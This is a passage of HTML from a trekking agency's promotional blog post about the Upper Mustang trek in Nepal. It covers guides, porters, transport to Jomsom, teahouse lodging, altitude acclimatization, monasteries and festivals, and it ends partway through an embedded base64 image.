customs</strong>.</li></ul><p>2. <strong>Guides and Porters</strong></p><ul><li><strong>Experienced Guides</strong>: Adventure Planner Trek typically provides experienced and knowledgeable <strong>local guides</strong> who are familiar with the geography, culture, and customs of Mustang. They will also help with language barriers and ensure that you are trekking safely and at a comfortable pace.</li><li><strong>Porter Service</strong>: Porters are available to carry your heavy gear, making the trek more comfortable. This allows you to focus on the experience without worrying about the weight of your backpack.</li><li><strong>Local Insights</strong>: Your guide will offer deep insights into the <strong>history</strong>, <strong>culture</strong>, and <strong>spirituality</strong> of the region. Guides often share fascinating stories about Mustang’s past as a <strong>forbidden kingdom</strong>.</li></ul><p>3. <strong>Transportation &amp; Logistics</strong></p><ul><li><strong>Transportation to Jomsom</strong>: Adventure Planner Trek will arrange the travel from <strong>Pokhara</strong> (or Kathmandu) to <strong>Jomsom</strong>. Depending on your itinerary, you may either take a <strong>flight</strong> (a short and scenic 20-minute flight) or a <strong>jeep ride</strong> through rugged mountain roads.</li><li><strong>Tea House Accommodation</strong>: Most accommodations in Mustang are <strong>basic teahouses</strong> or <strong>guesthouses</strong>, which the agency will book in advance. These places provide <strong>simple meals</strong> (Tibetan-style), and a place to rest and relax after a day’s trekking.</li><li><strong>Camping Option</strong>: If you opt for a more rugged adventure, <strong>camping</strong> can be arranged. This option provides more flexibility in terms of your route, but it requires additional equipment and a more personalized approach.</li></ul><p>4. <strong>Health and Safety</strong></p><ul><li><strong>Altitude Acclimatization</strong>: Adventure Planner Trek will ensure that you have enough <strong>rest days</strong> to acclimatize at higher elevations, particularly in <strong>Lo Manthang</strong> (about 3,700 meters). Proper acclimatization is crucial to avoid <strong>altitude sickness</strong>.</li><li><strong>Emergency Support</strong>: A reputable agency will have plans in place for emergencies, such as <strong>evacuations</strong> in case of severe altitude sickness or injuries. They will also have a basic first-aid kit on hand, and in some cases, a satellite phone for emergency communication.</li><li><strong>Travel Insurance</strong>: Adventure Planner Trek will advise you to take out <strong>travel insurance</strong> that covers high-altitude trekking, medical evacuation, and any unexpected cancellations.</li></ul><p>5. <strong>Cultural and Spiritual Experiences</strong></p><ul><li><strong>Monasteries and Temples</strong>: One of the highlights of trekking with a guided agency is access to <strong>cultural experiences</strong>. Your guide will take you to significant <a href=\"https://www.adventuresplanner.com/blogs/mysterious-ranchung-chungsi-cave-monastery-of-upper-mustang\" download=\"file\"><strong>Buddhist monasteries</strong></a> in the region, such as <strong>Lo Gekar Monastery</strong> and <strong>Tashi Lhakhang Monastery</strong>. You may also visit sacred caves and temples where pilgrims come to meditate.</li><li><strong>Local Interaction</strong>: You’ll have opportunities to interact with local people in villages like <strong>Kagbeni</strong>, <strong>Ghyami</strong>, and <strong>Lo Manthang</strong>. These communities are deeply rooted in Tibetan Buddhism and live a traditional lifestyle.</li><li><strong>Festivals</strong>: Depending on the time of year, your trek may coincide with a local festival, such as the <a href=\"https://www.adventuresplanner.com/blogs/tiji-festival-of-mustang-2025-the-chasing-of-the-demons\" download=\"file\"><strong>Tiji Festival</strong></a> in Lo Manthang, a fascinating Tibetan Buddhist festival celebrating the triumph of good over evil.</li></ul><p>6. <strong>Trekking Pace and Comfort</strong></p><ul><li><strong>Comfortable Trekking</strong>: Adventure Planner Trek ensures that the trek is not too physically demanding by managing the pace. There are <strong>rest days</strong> built into the itinerary, especially for acclimatization, which ensures you don’t rush the trek.</li><li><strong>Meals and Snacks</strong>: The agency typically includes meals during the trek, and you’ll have the chance to enjoy <strong>traditional Tibetan food</strong> (like <strong>momos</strong>, <strong>thukpa</strong>, <strong>dal bhat</strong>), along with snacks like energy bars, fruits, and hot drinks.</li></ul><h5><strong>Why Choose Adventure Planner for Upper Mustang Trek?</strong></h5><ul><li><strong>Expertise</strong>: Adventure Planner Trek has years of experience organizing treks in remote regions like Mustang, ensuring a safe and enriching experience.</li><li><strong>Personalized Service</strong>: They offer personalized itineraries that suit your specific preferences, whether you’re a first-time trekker or an experienced hiker.</li><li><strong>Cultural Insights</strong>: The company focuses on cultural immersion, giving trekkers an in-depth understanding of the unique Tibetan Buddhism of the region.</li><li><strong>Safety and Comfort</strong>: With a strong emphasis on safety, including proper acclimatization and support throughout the trek, you can trek with confidence.</li></ul><p>In conclusion, <strong>Upper Mustang Trek</strong> with an adventure planner like <a href=\"https://www.adventuresplanner.com/company-outline\" download=\"file\"><strong>Adventure Planner</strong> </a>offers not just a journey through one of the world’s most beautiful and remote landscapes, but also an opportunity to experience a region that is rich in <strong>history</strong>, <strong>culture</strong>, and <strong>spiritual significance</strong>.</p><figure class=\"image image_resized\" style=\"width:100%;\"><img src=\"data:image/jpeg;base64,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